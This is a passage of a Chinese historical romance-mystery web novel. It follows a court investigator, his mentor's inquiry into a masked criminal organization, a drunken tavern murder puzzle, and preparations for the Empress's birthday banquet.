“好一个谁也拦不住你。”尚卿拍着手掌信步走来。
启蛰身侧的手握起,一脸戒备地将温余往身后拉了拉,道:“嘉亲王来此做什么?”
尚卿笑眯眯地向他问好:“小侍卫,好久不见啊!”
启蛰神色未变,“嘉亲王究竟要做什么?”
“诶呀,自然是来同我这位新朋友聊天的,小侍卫若是没事,就先让开。”尚卿挥了挥手,叫启蛰让开。
启蛰一动不动,温余在背后扯了扯他的衣摆,悄声道:“要不你先让开?你家大人不是说了不让你惹他吗?”
启蛰侧过身看了看温余,“你……”
但还未等启蛰有所动作,贺扶便赶了过来:“师父邀我们一叙,渡凌就莫要再纠缠温小姐了。”
“大人!”启蛰像是有了依靠,拉着温余往贺扶背后走去。
尚卿面露不悦,但幸安确实是叫了他们两个前去,只好无奈作罢。
“既如此,那我便改日再来寻你,温小姐可要收好在下的礼物啊!”
眼见两人离开,启蛰才松了口气,“叫你乱收礼,被缠上了吧!”
温余也很是无奈:“我会想办法还上的,不过贺大人他真的没事吗?”
看着贺扶离开的背影,温余心中隐隐担心,这尚卿来者不善啊!
“应该不会,有幸丞相在,他不敢怎么样的。”启蛰的话倒是让温余放心了些。
“对了!”温余忽然道,“既然此时无事,那不如我们去外头转一转?”
启蛰思索片刻,抱臂道:“事先说好,不许露出之前那种土包子进城的表情!”
“那是感叹!被你说成什么了!”温余怒而在他胳膊上拍了一把。
17. 皇后生辰(一)
翠竹玉林,山风流水,鸟雀在枝头停驻,发出阵阵脆鸣,风吹起几片饱满的叶片,从它们面前卷过。它们忽得停住了鸣叫,一双芝麻大小的黑瞳看向一旁别院檐下的一个鸟笼,里面关着的一只蓝白色的小雀,白色的小脑袋一下一下地转动着。忽然从屋内伸出一支檀木细棍,逗弄着那雀儿。
雀儿的脑袋转得更欢了,笼前的那人轻笑一声,“阿福,阿福乖……”
屋内桌上放着一个紫金香炉,细烟缓缓升起,将那如玉的容颜扭曲了几分,但还是不难看出其貌朗然照人。贺扶将茶杯轻轻放在桌上,杯中茶水泛起一阵涟漪。
“师父……”
尚卿在一旁架着腿,与贺扶正襟危坐的模样全然相反。
听到呼唤,那窗前逗鸟的紫衫人才回过头来,随手将细棍放在一旁的食盘中,接触之时发出一声细细的脆响,但很快就被窗外的鸟鸣覆盖。
他转身轻笑,鬓间白发,眼角细纹无一不昭示着他已过知命之年,但眉眼含笑,负手而立,不似老者反而像哪座仙山上鹤发童颜的仙长。
他声音沙哑却带着温柔,打趣道:“怎的,我唤这雀儿又没唤你,它叫阿福,你叫阿扶,全然不同啊!”
贺扶有些无奈,这小老儿向来喜欢寻些另辟蹊径的玩法,让他笑也不是,怨也不是,只能摇摇头。
尚卿看在眼里,嗤笑一声后道:“怪不得您从我送来的几十只雀儿中选中这只,原来是与您的爱徒名号相同啊!”
“渡凌,莫要不敬师长。”贺扶道。
尚卿登时成了被点燃的炮仗:“不敬师长?同为弟子,他是如何对你的,又是如何对我的?贺扶,你好意思说?”
幸安缓缓坐下,看向尚卿的目光中带了慈爱,“渡凌,只是一个名字而已,怎的又成了吾偏心了?若是你气不过,吾大可去再寻一只雀儿,为它取名阿卿,如何?”
听幸安这般说,尚卿心头的怒火仍未压下,“那倒不必,不然可苦了那雀儿受了怠慢。”
“这……”幸安顿时无言。
贺扶道:“渡凌,师父从未有过偏心,待我们都是一般,你可是听了旁人的话,才有了误会。”
尚卿睨了贺扶一眼,将手中的茶杯一摔,“不是说有要事吗?”
幸安叹了一声才开口:“今日唤你们过来是为了十五年前绍王府一事。”
贺扶正了辞色,尚卿瞥了他一眼后也深吸一口气,看向幸安。
“吾收到信后便立刻派人去调查了,阿扶你说的面具人我也有所了解。”幸安从桌下拿出两个册子,递给二人后继续道:“这现世的面具已有两个,一是绍王府案中的藏羚羊面具,二就是阿扶你此去湖州见到的猞猁面具。吾猜测这些戴着面具的人应该处于组织上层,但可惜不知究竟有几位。”
“面具?”尚卿啧一声,“真丑,什么人会戴这样的面具?”
贺扶眸色沉沉,“我见到的那位无论身法或是武功都极其厉害,不过我伤了他的腿,若是他在这京城之中,凭借伤口定是能查到什么,但是又如何能笃定他会来这京城呢?”
“那他偷这迦南玉做什么?搞清楚了吗?”尚卿很快将册子翻完,密密麻麻的字看得他头疼,索性直接合上丢在一边。
幸安摇头:“这……吾也不知,不过好在如今有了些线索,面具人现世那便说明他们会有新的动作。”他又看向贺扶,目光带上些担忧来,“许是因为……”
他话未说完,但贺扶也知道他的意思。当年绍王府灭门,若不是幸安赶来快,那贺扶也难逃一劫。那些人既然要灭门,就不会放过一个,如此想来,那些人再次出世的目的怕就是要斩草除根。
“迦南玉一事,说不准就是个诱饵,想引你入局。”幸安推测道。
但贺扶却觉得不然:“可,他们并未对我做什么。”
“莫不是你还要等他们出手不成?”尚卿笑道,“我若是你我就直接将他们追根究底见一个杀一个,才不会留这样的隐患。”
“可据我所知,这组织之中还是有些无辜之人的,都是被生活所迫。”贺扶有些迟疑,他曾在调查一人时发现其为组织卖命只是为了救卧病在床的母亲,贺扶给了他钱后便放弃了奔走。
可惜那人只是底层,未能得到什么有用的信息。
“照你这么说,所有有罪之人都是生活所迫,都该放过了?那天牢那么多人,你都去放了算了。”尚卿似是嘲讽。
“所以我们才该推行教化,注重民生。”贺扶认真道。
尚卿笑了一声,显然是不同意他的说法。
“行了行了。”幸安按了按眉心,“你们就不要在吾面前吵了,头疼。这组织的事情吾会派人去查的,当务之急还有一事,过些日子便是皇后寿诞了,你们的事情还多着呢!”
尚卿收敛眉色,“我当然知道。”
“那你们就快些回去,准备准备吧。”幸安道。
贺扶尚卿二人对视一眼,尚卿先行起身告辞。
“师父,我还是担心那组织的事情。”贺扶还欲再说,幸安却宽慰道:“莫要再担心了,此次外出你也累了,还是休息些时日吧。再说了,把这事情交由吾处理,你还信不过?”
贺扶正色:“自然相信,只是还是不免担忧。”
幸安摆摆手,“行了行了,不说这些了,还是说些别的吧。”
贺扶问:“师父想说什么?”
“说说你那位从扬州带回来的小姑娘。”幸安喝了口茶,面上带着笑,“莫不是铁树开花,忽得想带姑娘回来了?不得叫来让吾看看?”
贺扶知道自己这师父又要乱点鸳鸯谱了,连忙解释道:“弟子只是看那姑娘伶俐,所以才带回在大理寺做事,也正巧与启蛰作伴没有别的意思。”
幸安哦了一声,似乎有些失望。
贺扶又问:“不知师父是如何得知的?”
幸安笑道:“自然是因为你这做法伤了宫中人的心,人家最近可是吵着闹着呢!安成王府可不甚安稳啊!”
“这……弟子会去解释的。”贺扶想起自己的那位“师妹”一时有些头疼。
“说来,阿扶也该到娶妻的年纪了,你看看你师兄,与你不过相差三岁,可是同阿云都成亲五年了。”幸安还是放不下做媒的心。
“此事不急的。”贺扶无奈道。
“那是你不急,吾急啊。”对于贺扶这推脱的说法,幸安极其不认同,郑重其事道,“成家立业,先成家后立业,你一路做到大理寺卿的位置,这业便已经立了,那成家呢?”
“剑兰花纹组织一事尚为查清,灭门之仇未报,弟子如何能安心成家?”
幸安端起茶杯浅啜一口,也知此事不能操之过急,只能叹道:“既如此,那便随你吧。”
“对了,能否将这十五年间所有有关剑兰组织花纹的案件都调出?”贺扶还是不忘正事。
擒贼先擒王,若是要将这组织一网打尽定然是要先找出这领头人的,而要找出这人便要从近年来剑兰组织所犯案件出发
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。
“你看你,怎的又说起正事来了?”幸安面露苦色,但还是无奈挥手,唤来一紫衣小仆,道:“去调卷宗。”
贺扶起身拱手,“多谢师父。”
幸安也跟着站起身来,笑道:“同吾还说什么谢?你只要保重好自己的性命便是胜过对吾说这一万句谢了。”
贺扶知晓幸安对自己安危的担忧,放松笑了笑,宽慰道:“师父放心,弟子自有定夺。”
“好了好了,你们一个个的都有定夺,”幸安又回到窗边去看那只小雀,“这次回来还没去见你师兄吧?”
贺扶摇头,“还没有。”
“那便去找你师兄玩吧,别来打扰我这个老人家了,”幸安玩笑道,“我和你师兄有隔阂,你们师兄弟可不行。”
“师父,弟子会同师兄多说说的。”贺扶蹙眉,师父一片苦心,师兄又太一意孤行,两人之间的矛盾早在他舞勺之年便出现端倪。
那时遇一案件,一女子被一壮汉逼至墙角,那壮汉威胁女子与他苟且,女子不愿,壮汉便开始撕扯女子衣裳,女子情急之下拿了石头往壮汉头上一拍,竟把那壮汉拍死了。
幸安当时觉得那女子出于防卫,壮汉又触犯律法,应当判那女子无罪,但章执却觉得女子虽是防卫但太过激,还是该按杀人处置。
当时二人便辩论起来,到最后演变成了争吵,那之后的一个月章执都没来上课。
贺扶那时虽小,但也对此有所思考。男子强迫女子是错,但未威胁女子性命,女子防卫是对,但却下手过重害死了人。贺扶百思不得其解,最后只得出这左晋律法完善道阻且长一结论。
“不必了。”幸安叹气道,“你们相会就不要提说吾了,快些走吧,吾有些累了。”
又一紫衣小仆走到贺扶身边,做送客状。
贺扶无奈,只好作罢,“那弟子便告辞了。”
许是心有灵犀,等贺扶一出丞相府的门便收到了章执的邀约,寻他去万樽楼一叙,贺扶自欣然前往。
万樽楼是京城中最高、最大的酒楼,其中文人墨客、达官权贵数不胜数。夜夜笙歌,好不热闹。
又因最顶上的那一层处于京城最高,俯身一看便能将整个京城揽遍,可谓是“一览众山小”,所以那里也是众多权贵争抢的地方。
章执乃当朝首辅,位高权重,他与贺扶相约会面的地方便是在这万樽楼的最顶层。
贺扶到时,还未见章执身影。在此等候的小厮告诉他章执因公务繁忙,暂时无法脱身,需请他在等待片刻。
章执能力出众,处理政务的手法又快又狠,圣上亦对他信任有加,近乎是将一半的权柄都交给了他。
贺扶没等多久,章执便过来了。他眼下乌青不难看出这些天是连夜处理了公务。等二人安稳坐下后,章执目光在贺扶身上扫视一遍,见无异常后才点了点头。
他甩了甩袖子,道:“今日邀你来是与你商讨过些日子皇后生辰宴一事。”
贺扶心道果然是为了公务。
“迦南玉我已送入宫中。”
章执拧眉点头,“那便好,自明日起你便入宫暂住,同礼部着手准备宴会之事。”
“为何?”贺扶有些疑惑,此事他本不该插手的。
“皇后点名让你来操办。”章执抿了抿茶水。
“没有说缘由?”贺扶还是不解。
章执面色不改,“不需要缘由。”
贺扶只能叹一声,“既如此,那便领命吧。”
18. 皇后生辰(二)
正事说罢,贺扶又与章执寒暄片刻,此间贺扶还提起了遇到宋拿云的事情,而章执只是轻轻点头没有过多说什么。
贺扶不由担心,他这师兄不善言辞又一意孤行,无论是与妻子还是师父都有所隔阂,偏偏他还不觉得异常,倒是让他难办。
二人带到了入夜,窗边华灯亮起才起身欲离去。章执还要回去处理政务。
但两人方才下楼便见楼下之人围坐一团,聚精会神地正在听着什么。贺扶疑惑望去,只见人群之中坐着的竟是温余,而且她的情况似乎有些不对。
“你们猜猜,真正的凶手是谁?”温余白皙的脸上泛着红晕,语气也是异常激昂。
启蛰坐在一边用剑撑着脑袋,也是一副醉汉模样,他高声道:“那个夫人!杀夫,正道!!”
温余一巴掌拍在他头上,“笨死了!我都说了她当晚没有作案时间,你脑袋里是浆糊吗?”
启蛰揉揉脑袋:“那是谁?”
一富态的公子道:“是那个家丁!他偷了钱被发现了,然后就……碦……”他做了个抹脖子的动作。
没等温余回话,他身边人立刻反驳道:“胡说,他是个下人,怎么可能进得了主人的屋子?你会让你家下人进你屋子吗?我看啊,凶手是那个借住的员外朋友!他喜欢他家媳妇儿,所以就横刀夺爱,杀了他!情杀,一定是情杀!”
那人说的肯定,人群中也有不少人赞同,但温余却抬手道:“不对,你们说的都不对!”
听她这么说,那些人都疑惑地问:“那凶手是谁?”
温余伸出一根手指指着那人,醉醺醺地道:“那人是自杀!”
“自杀?”众人皆是质疑,一瞬间喧闹了起来,温余叫停也没人反应,还是启蛰大吼一句:“都安静!”
等众人安静,才眼巴巴地凑到温余面前,“那为什么是自杀啊?”
温余露出个笑来,“因为他好赌,欠了许多的债,一开始不就说了吗,他回家就是因为生意做得不好,赔了钱。之后被债主催债催得恨了,所以就自杀了!”
听了解答,众人皆是唏嘘,这时人群中又有人问:“那为何刀是在背上的?”
“他先前把刀柄嵌入地上,自己站在椅子上往后一倒,刀就噗呲一声刺入了心脏。”
“原来如此,这还真是有意思。”启蛰点着头。
“所以!”温余一拍启蛰大腿,“这个故事告诉我们,赌这个东西,沾不得,你们都不要碰啊!到时候媳妇儿子孙跟着受罪啊!”
见众人点头,温余笑了起来。
一旁目睹全程的章执看向唇角微微勾起的贺扶,问:“那是你带回来的?”
贺扶压下笑点头,“温小姐十分伶俐可爱。”
章执皱了皱眉,“吵闹。”
说罢,他迈开步子离去。贺扶走上前去穿过人群站在温余面前,柔声道:“好了,回家了。”
温余视线模糊,凑近贺扶看了很久才拍拍一旁试图用剑鞘在地上凿出个洞的启蛰,“嘿,这人长得好像贺大人啊!”
听到贺扶,启蛰瞬间凑了过来,看了半晌后震惊道:“哇,真的好像。”
贺扶哭笑不得,“就是我。”
两人醉鬼显然听不进去,启蛰拍拍温余:“那这个归你,你不许再纠缠我家大人了!”
温余脑子里转了转,思索着他这话的意思,最后只能堪堪明白“归你”“纠缠”二字,她摇头,斩钉截铁道:“不要,我都要。”
“你,太过分了。”启蛰气愤地捶地。
温余不管,看回贺扶,她吃吃笑了几声:“你归我啦!我亲亲,亲亲!”
贺扶眼疾手快挡住温余的脸,“莫要胡闹,启蛰……启蛰……不要再挖了!!”
启蛰晃晃脑袋,表示听不懂。
对着面前听不进去话的两人,贺扶无奈摇头。
一个两个的,都不让人省心。
翌日,艳阳高照。
“嘶——”
还在睡梦中,温余便觉得头痛欲裂,好像有一条野狗在不停撕扯她的脑子,她想坐起身来,但身上好似被大石头压着一般,一个手指都动不了。她奋力睁开眼睛便对上了一张大脸。
“啊——”
“啊——”
两声叫喊先后响起,启蛰捂着脸,瞪大眼睛质问道:“你打我做什么?”
温余也坐起了身,觉得自己的手掌火辣辣的疼,刚刚似乎太过用力了些。她尴尬笑笑,道:“抱歉啊。可你方才离得太近,我一时受到惊吓才……”
“离得近?我那是看你睡了这么长时间,担心你睡死过去没法跟大人交代才凑上前去看你的,谁知道你……”启蛰冷哼一声,“狗咬吕洞宾。”
“我睡了多久?”温余揉了揉脑袋,问道。
启蛰伸出一根手指,“一天一夜,我家大人原本还打算带你一同入宫呢,结果你死活叫不醒,无奈之下,他只能自己先走一步了。”
“酒量差还逞强喝那么多酒,头疼了吧?活该!”
温余扁扁嘴,嘟囔道:“你又不是没喝。”而后又突然注意到,“入宫!”
温余猛得蹦起来,“那我现在可还能去?”
那可是皇宫啊,多少人想了一辈子都去不了的地方!
“当然能,”启蛰没好气道,“也不知道我家大人怎么了,带你这个不懂规矩的野丫头入宫,也不怕你冲撞了别家大人,还得去给人家赔罪。”
“你很不满啊?”温余看他这副样子,同那深宫里的怨妇无二。
“谁不满啊?我又不是没进过宫!”启蛰切一声,但眼中的愤懑却暴露了心中所想。
温余凑上前去,戳穿他:“当然不是因为进宫,是因为你大人这次没带你进宫,对不对?”
她一看便知,启蛰应当是被贺扶留着看家了,否则他也不会如此不满。
“你!”启蛰伸手指她,指了半晌也没“你”出个所以然来,只好放下手,道,“醒了就快去把自己收拾好,我去给你准备马车,若是我回来你还在磨蹭,你就别去了!”
说罢,启蛰便头也不回地离开了,温余不由撇撇嘴,脾气真大。
等温余换好衣服出门便见葛巾也整装待发。
“葛巾也要去啊?”温余眼底满是欢喜,她很是喜欢葛巾的性子,与她待在一起也是开心。
葛巾点头,“大人让我陪着温小姐,宫中礼仪规矩众多,怕您一时不适应。你喝了那么多酒,可还好?”
虽然头还有些痛,但她还是摇头:“没事。不过之后进了宫中便要麻烦葛巾姐姐多教教我了。”
温余上前亲昵地挽着葛巾的胳膊,一同上了马车。
“这些日子我们借住在内朝紫宸殿中的云上居,是圣上特意为首辅大人修建的别院,距离圣上的寝宫也近,规矩禁忌自然也多,温小姐定要小心谨慎,免得冲撞贵人,落人话柄。”
听着葛巾的叮嘱,温余乖巧点头,随后又感叹道:“这圣上果真是喜爱那位首辅大人啊!”
葛巾轻笑一声,继续解释:“首辅大人章执之父乃是前朝太傅,当今圣上自小便由他一手教导,对章太傅也十分敬重,首辅大人又是章太傅老来所得,太傅重视得紧,圣上自然也十分看重首辅大人,待他也是同同胞兄弟一般。”
“原来如此,那霁尘君呢?”温余曾听启蛰说起过,霁尘君乃是首辅夫人。
葛巾微微一怔,“温小姐还见过霁尘君?”
“对啊,当时在湖州的时候。”温余如实相告,她又想起那日离开湖州时贺扶与宋拿云的对话,心中又生出了些好奇,便开口问道,“那霁尘君和首辅之间可是也有什么隔阂?”
“首辅大人和霁尘君青梅竹马,自小便有婚约,到了年纪便在长辈主持下完婚了,但是霁尘君向往自由,首辅大人却要稳身于朝野,二人之间有了矛盾,以至于如今霁尘君常年在外,一年下来,二人见面的次数少之又少。”葛巾对温
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余解释着。
“原来如此。”温余点点头,转而开始挑开帘子去看车外的景色。
伴随着马车车轮咕噜咕噜的响声,二人来到了云上居,作为内朝行宫,果真同外面的那些不一样。
温余四下观察着这处居所,虽已“居”为名,但这里实际却是一座庄严富丽的宫殿,高门阔气,一看便知其中主人并非一般人。
“温小姐。”
贺扶一袭翠竹绣银大袖衫,若是不仔细看竟是与温余今日穿着有些相似。他负手站在宫门口,看样子是在这里等了许久了。二人走上前去,葛巾福身向贺扶行礼,温余动作慢了些,也学着她的动作,道了声:“见过贺大人。”
“温小姐不必多礼。”贺扶关切道,“之前喝了那么多酒,今日可还有什么不适?”
那日醉酒后的举止在温余脑中过了一遍,她一时有些无颜面对贺扶,“我没什么事,就是那日麻烦贺大人了。”
“温小姐无事便好,那便随贺某进去吧。”
在贺扶的带领下,温余搞清楚了这云上居的大致结构,也摸清了来回路线。
安顿好后葛巾外出打点,便只留下了温余和贺扶相对而坐。
从绍王府到宫中这段路也不算近,温余此刻口干舌燥便提了茶壶准备给自己到一杯水润润喉,却见贺扶正看着自己欲言又止。
难不成他也想喝茶?
温余翻过茶杯倒满推到贺扶面前,笑道:“贺大人喝茶。”
贺扶接过茶杯,道了声谢后轻声问她:“温小姐可记得那日做了什么?”
温余端起茶杯浅抿一口,是苦涩的乌龙。
“啊,记得一些……”
她对上贺扶的目光后眼神飘忽。她摸摸鼻尖,十分不好意思:“那日我是不是吐了您一身啊?”
若她没记错,那晚贺扶要带她回府时,她脑袋不清醒,不停说着他是自己的,还又亲又搂像是个登徒子。
贺扶好不容易软磨硬泡将她哄出万樽楼,正要上马车,她便吐了他一身。
如此风度翩翩的君子在大街上被人吐了一身秽物,温余自然觉得是美玉染尘,但又想到这“染”的是自己,她就觉得心虚。
为何她不能是个酒后胡闹,醒时失忆的人呢?还偏偏记得这般清楚。
她暗暗发誓,之后再也不会喝酒了,再喝她就是狗!
贺扶似乎是看出了温余的心思,轻笑一声安慰道:“温小姐不必自责,贺某不在意的。”
温余扯出个笑来,“那便好。”
你不在意我在意啊!
“对了,”温余努力将脑中那日的糗事压下去,转而问道,“我听启蛰说,您和嘉亲王之间似乎有些误会?”
贺扶低眉垂眼,用拇指轻轻摩擦着茶杯上的花纹,心中似乎有万般想说,但最后却只化成一句:“我和师父一直想待他好些,但无论怎样他都能从中寻出些师父偏心的证据来,若是渡凌有意与温小姐交好,那还得麻烦你多劝劝他。”
温余摆手:“不麻烦的!能帮到贺大人我很开心。不过我还有一件事。”
“何事?但说无妨。”贺扶道。
“就是,女子入朝为官,会不会很难啊?”温余问地小心。
贺扶笑道:“选贤举能,有能力之人定有所成就。”
“但我听启蛰说,难如登天!”温余道。
贺扶轻笑一声:“启蛰那孩子遇事总是往坏了想,他的话,只能听一半。温小姐这么问,莫不是想试试这条路?”
温余点点头:“那我还如何做?”
贺扶转了转手中的瓷杯,忽道:“我倒是有一个机会,不知温小姐可想试一试?”
温余双眼放光:“什么机会?”
“过些日子便是皇后寿诞,这宴席只是由我负责,若是温小姐愿意,不妨与我共事,如此也算是能在众人面前展现才能。”
贺扶的提议简直戳中了温余的心,她点头如捣蒜:“好!”
19. 皇后生辰(三)
左晋众人皆知,帝后少年夫妻,伉俪情深。皇后自圣上还称奉王时便与圣上成婚。作为贤内助,不仅精通女工,还耍得一手好枪。
一路陪伴圣上从地方走到中央,最后走上皇位。
如此情深,不免被人传为佳话。
皇后每年寿诞圣上都会派礼部精心准备,此次寿诞更是提前三月就开始吩咐礼部着手操办。此时距皇后寿诞只剩五日,宫墙之内一片喧哗。
“贺大人,杏园已经打理好了,按您吩咐的将枝叶修剪完毕,沟壑也以凿好,还在中间留了一块空地。”
闻言,贺扶从书卷间抬起头,冲面前的礼部小吏微微一笑,“好,稍后去尚衣局取杏影图刺绣,再将其做成蒲团,切记蒲团定要做得舒适。”
礼部侍郎点头退下。
皇后既然点名要贺扶操办此时,那他就得认真负责。他将此次帝后寿诞的小宴定在宫内的杏园之中,一来春意之下,杏花娇嫩可人,二来皇后喜爱杏花,将小宴地点定在杏园再好不过。
小宴,即为家宴。这皇后寿宴在殿上,满朝文武外邦来朝,自然是以庄重为主,但小宴就不同了,只邀皇室中人以及朝中重臣,话话家常什么的,也是松弛。与正式的寿宴相比,小宴自然是怎么舒服怎么来,贺扶便将这小宴的操办交给了温余。
贺扶正思考着最为重要的寿宴该如何操办之时,见温余蹦蹦跳跳地自门口跑来,“贺大人贺大人,您猜猜我做了什么!”
见他一脸兴奋,贺扶微微勾唇,柔声问她:“这么兴奋,做了什么?”
温余耍宝似地将怀中的图纸拍在贺扶面前,贺扶低头一看,是极为精细的杏花纹饰。
“这是你画的?你想将它雕在哪里?”
温余笑着回答:“当然是我画的,我打算把它雕在桌凳上,既是以杏花为主题,那就得每个角落都充满杏花的影子,可以放在小宴上。”
“这图案精细,若是要在全部桌凳上雕刻怕是要费不少力气。”贺扶隐隐有些担心,“那就要赶工了。”
温余倒是不在意:“可以啊,只是想贺大人帮我请些雕刻技艺娴熟的工匠。”
“这也是个问题。”贺扶微微叹了口气,“宫中工匠大多被派去为寿宴中的摆设做工,怕是抽不出人来。”
“没关系,我还有个办法!”温余计上心头。
贺扶好奇:“什么办法?”
“工造司!”
工造司,乃是宫中制剑制兵器的地方,温余之所以能想到工造司还是得多谢启蛰。那厮喜好收藏剑器,没把剑都得有相配的剑鞘,那剑鞘的花纹也是有各种模样,但无一例外的都是极其精细漂亮的,若是不好看,他怕是看都不会看一眼。
之前温余问过他,他说那剑鞘是在工造司做的,温余便记下了,此时倒是正好派上用场。
贺扶哦了一声,笑道:“我竟没想到还有这法子,那便交由温小姐了。”
既然图纸过了贺扶的眼,温余便飞似地离开往工造司跑。
早在她询问贺扶前她便摸清了工造司的位置,就等贺扶同意了。
来到了工造司,一股热气混着铁水的味道就直往温余鼻腔里冲。她告知了工造司官员自己的诉求,并说清楚是贺扶的意思后那面善的官员自然同意了。
在剑鞘上雕刻与在桌椅上雕刻也没什么差别。
雕刻需要专注,也耗费时间。铜炉中的水换了一遍又一遍,温余才抬眼去看窗外,已经天黑了。
她拍拍有些酸痛的脖子,想站起身走动走动缓一缓。
工造司的院中很是空荡,几乎没有半点人生活的生气,有的只是堆成堆木头。
她在院中信步闲庭地转了许久,忽得看到一旁兵器架子上摆放的红缨枪,她顿时来了兴趣,问过官员能否触碰,官员肯定后她走上前去。
枪杆挺直,红缨烈烈,枪头尖锐还闪着寒光,还真是好枪!
这时,一阵清脆的马蹄声从院外传来。
这个时间,来的会是什么人呢?
温余带着好奇往前走了走,只见一匹枣红的骏马之上赫然是一位身形高挑,眉宇间带着英气的女子。
她不由感叹好一个巾帼女将!
那女将自马上飞身而下,利落轻盈,注意到站在门边的温余只是轻轻一睨就让人顿生寒意。
她声音凌厉:“本宫要的枪呢?”
温余一怔后反应过来她是在问自己,摆摆手道:“我并非工造司之人,只是来此办事,您若是有要事,我可以去通报。”
“不是工造司的人?”女将蹙眉走上前,眼中带着审视,“那你是何人?”
“我是贺大人手下的。”温余向女将解释,没想到刚刚听到贺扶的名字那女将眉间的沟壑就变得更深。
她问:“你是贺扶的人?从扬州带回来的那个?”
温余不知她是怎么知道的,只是缓缓点头。
女将哼笑一声,上下打量起温余来,温余被看得发毛下意识地往后退了退,却被她一下按住了脖子。
“诶,疼!”弯了那么久还没缓过来呢,又被这么用力的一按,温余觉得自己的脖子都快要断了!
女将又笑一声,“本宫还当是什么样的绝色能的贺扶另眼相看,没想到不过如此。”
温余被按着脖子,心想这女将莫不是喜欢贺扶,把自己当做她的情敌了,这话说得倒像是贺大人贪图她的美色才带她回来的。
虽然她的确是有那么几分的姿色,但也不至于这般以为吧?
“并非如此,贺大人带我回来是让我在大理寺做事的。”温余解释着,但女将,明显不信。
“求您了,放过我吧,我脖子……疼……”温余求饶道。
“圣阳郡主?您来了,您的枪在……”那官员见了女将后迎上来,但在走近看到这情况时住了嘴,“这姑娘是贺大人派来的,并非细作。”
官员不明所以地解释。
“我的枪在哪儿?”圣阳没有放手。
官员擦了擦额角的冷汗,指了指后院:“就放在后院兵器库里,下官这就去给您拿。”
见那官员逃也似地离开,温余更觉无望。
“圣阳郡主……?”她方才听那官员是这么叫的,“您是不是对我有什么误会,不如先放开我,我可以解释的。”
圣阳哼笑一声,将温余往高提了提,就像掐住一只小猫的脖子一样,对上她的眼睛,挑眉问:“解释?
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解释贺扶为什么带你回来?你觉得我会信?”
温余抬眼望着她,吞了吞口水,缓缓道:“那我说贺大人带我回来是因为我容色倾国倾城,您信吗?”
“……”圣阳沉默了半晌,“那他就是瞎了。”
“那不就行了!”温余转了个圈终于是从她手下挣脱,“我当真和贺大人没什么。”
“本宫不想知道这个。”圣阳抱起手臂。
温余眨眨眼:“那你想知道什么?”
“我想知道,你究竟有什么能力能让贺扶带你回来。”圣阳向前走了几步,温余便小心翼翼地往后退。
她边走边道:“武功,才学,还是……家事?”
温余顿了顿,她好像什么都算不得顶尖,她挠挠头,不确定道:“大抵是因为我……聪明?”
“聪明?”圣阳嘲讽似地笑了一声,正巧那官员拿着一杆红缨枪回来,他毕恭毕敬地递给圣阳,圣阳拿到枪后随手舞了几式。
尖枪在空中划出一道极漂亮的弧线,破空的响声在温余耳边响起,她看向圣阳的目光带上了崇敬,好帅气的招式!
“圣阳郡主好枪法,不愧是皇后娘娘的亲传弟子。”官员鼓掌道,“过些日子便是皇后娘娘的生辰了,您可准备好了生辰礼?”
圣阳收回枪,将枪往地上一立,道:“这不用你提醒本宫,对了……”她忽得看向温余,“她我就先带走了。”
温余一惊,用手指指着自己,“我?”
官员立刻上前将温余拉到身后,求饶道:“圣阳郡主,这姑娘只是来帮忙的,若是冲撞了您,还请海涵,您就莫要与她一般见识了。”
说罢,他还按着温余的头想给圣阳鞠躬认错,但温余却还在状况之外。
“为何要带我走?”
圣阳一把将那八尺高的官员推开,扯过温余就道:“因为本宫想知道,你究竟有多聪明。”
见她眯着眼,温余不由打了个寒战,她方才分明说,也许啊。
官员拦不住圣阳,又不敢得罪她,谁人不知这宫中双煞,一个笑面虎,平日里笑得如沐春风,一不留神就阴恻恻给你一刀,一个嚣张跋扈,做事丝毫不顾及后果。
这两人可是谁都不敢惹的!
官员只好用同情怜悯的眼神目送温余离去。临走前温余还冲他喊道:“记得雕花!”
官员点头,面上有些悲戚。
一出了工造司的门,还没等温余反应便忽然腾空,下一刻就被甩在了马背上,她像是一件衣服一般搭着,脑袋向下一片混沌。
等她好不容易反应过来才发现自己正被圣阳带着往另一个地方去。
“圣阳郡主!”温余倒挂着,声音都有些颤抖,“你要带我去哪儿啊?能不能换个姿势,好晕啊!”
圣阳没有回话,只是自顾自往前走着。
“圣阳郡主,你到底要干什么啊?我不说我聪明了还不成吗?我笨,我最笨了!”
“圣阳郡主,我求求你了,放我下来吧,我还有事儿呢!”
“圣阳郡主……”
求了许久都没有回应,温余干脆将头埋下去,脑袋随着马儿前行的动作摇晃着,她暗暗道了一声:“仗势欺人,呸!”
20. 皇后生辰(四)
第二十章:
这是极小的一声,圣阳却忽然勒了马。
温余一惊,扯扯嘴角,转头:“圣阳郡主,怎么停了?”
“仗势欺人?”圣阳凑近了些,带着威胁的意味,“没错,谁人不知本宫在这宫中的地位?我父亲是安成王,乃是当今圣上的结拜兄弟!当今皇后算我叔母,整个皇宫就没有本宫得罪不起的人!你不过一个小小奴仆,本宫怎么就欺负不得了?”
“可,为什么欺负我啊?”温余觉得奇怪,“因为贺大人?不至于吧。”
“那什么至于?”
见圣阳竟想这样聊起来,温余冲她笑笑,“不如你先将我放下,我该告诉你什么至于。”
圣阳沉默片刻,正当温余以为她要放自己下来时却见她一挥马鞭,身下的马匹便狂奔起来。
温余叫了几声,换来的只有圣阳更加快速的甩鞭。
“我……快吐了……我真的要……”
等圣阳终于将她放下后,她摇摇晃晃的站着,只觉得腹中翻江倒海。
“呃……”
她扶着柱子站了好一阵才压下了不适。等她抬头才发现面前早已是另一片景象。是与方才宫墙间全然不同的模样,这里是一座极为华贵精致的别院,若不是圣阳她甚至不知皇宫里竟然还有这样的地方。
抬头,牌匾上是三个大字“争鸿苑”。
这是圣阳的住所?温余心道。
“怎么,没见过这般阔气的院子?这可是本宫叔父命工匠所建,可不是一般人能随意进出的。”圣阳抱臂看着温余,眼中满是高高在上的优越感。
温余四下看了看这宅子确实坚固又气派,便发自内心道:“确实。”
圣阳一噎,没想到她会这般捧场,但转念一想又觉得她是在敷衍自己,叫来了院中仆从,命令道,“将她带进去,把我屋里的那些东西都给她。”
温余还在发懵就被突然围来的仆从架住往前推,她叫道:“诶诶诶,做什么啊?”
等那些人一路把温余架进了屋子,将一个盒子往屋里一丢后砰的一声关上门。
门外传来声音:“郡主说了,你若是无法将那盒子里的机关尽数解开,你就别出来了。”
温余捡起盒子摇了摇,猜测里面应该是些木头做的小机关什么的,她道:“当真?”
屋外没有回话,她暂且当他们说的是真的。
她叹了口气坐在案边,想着早些解完早些回去做事。
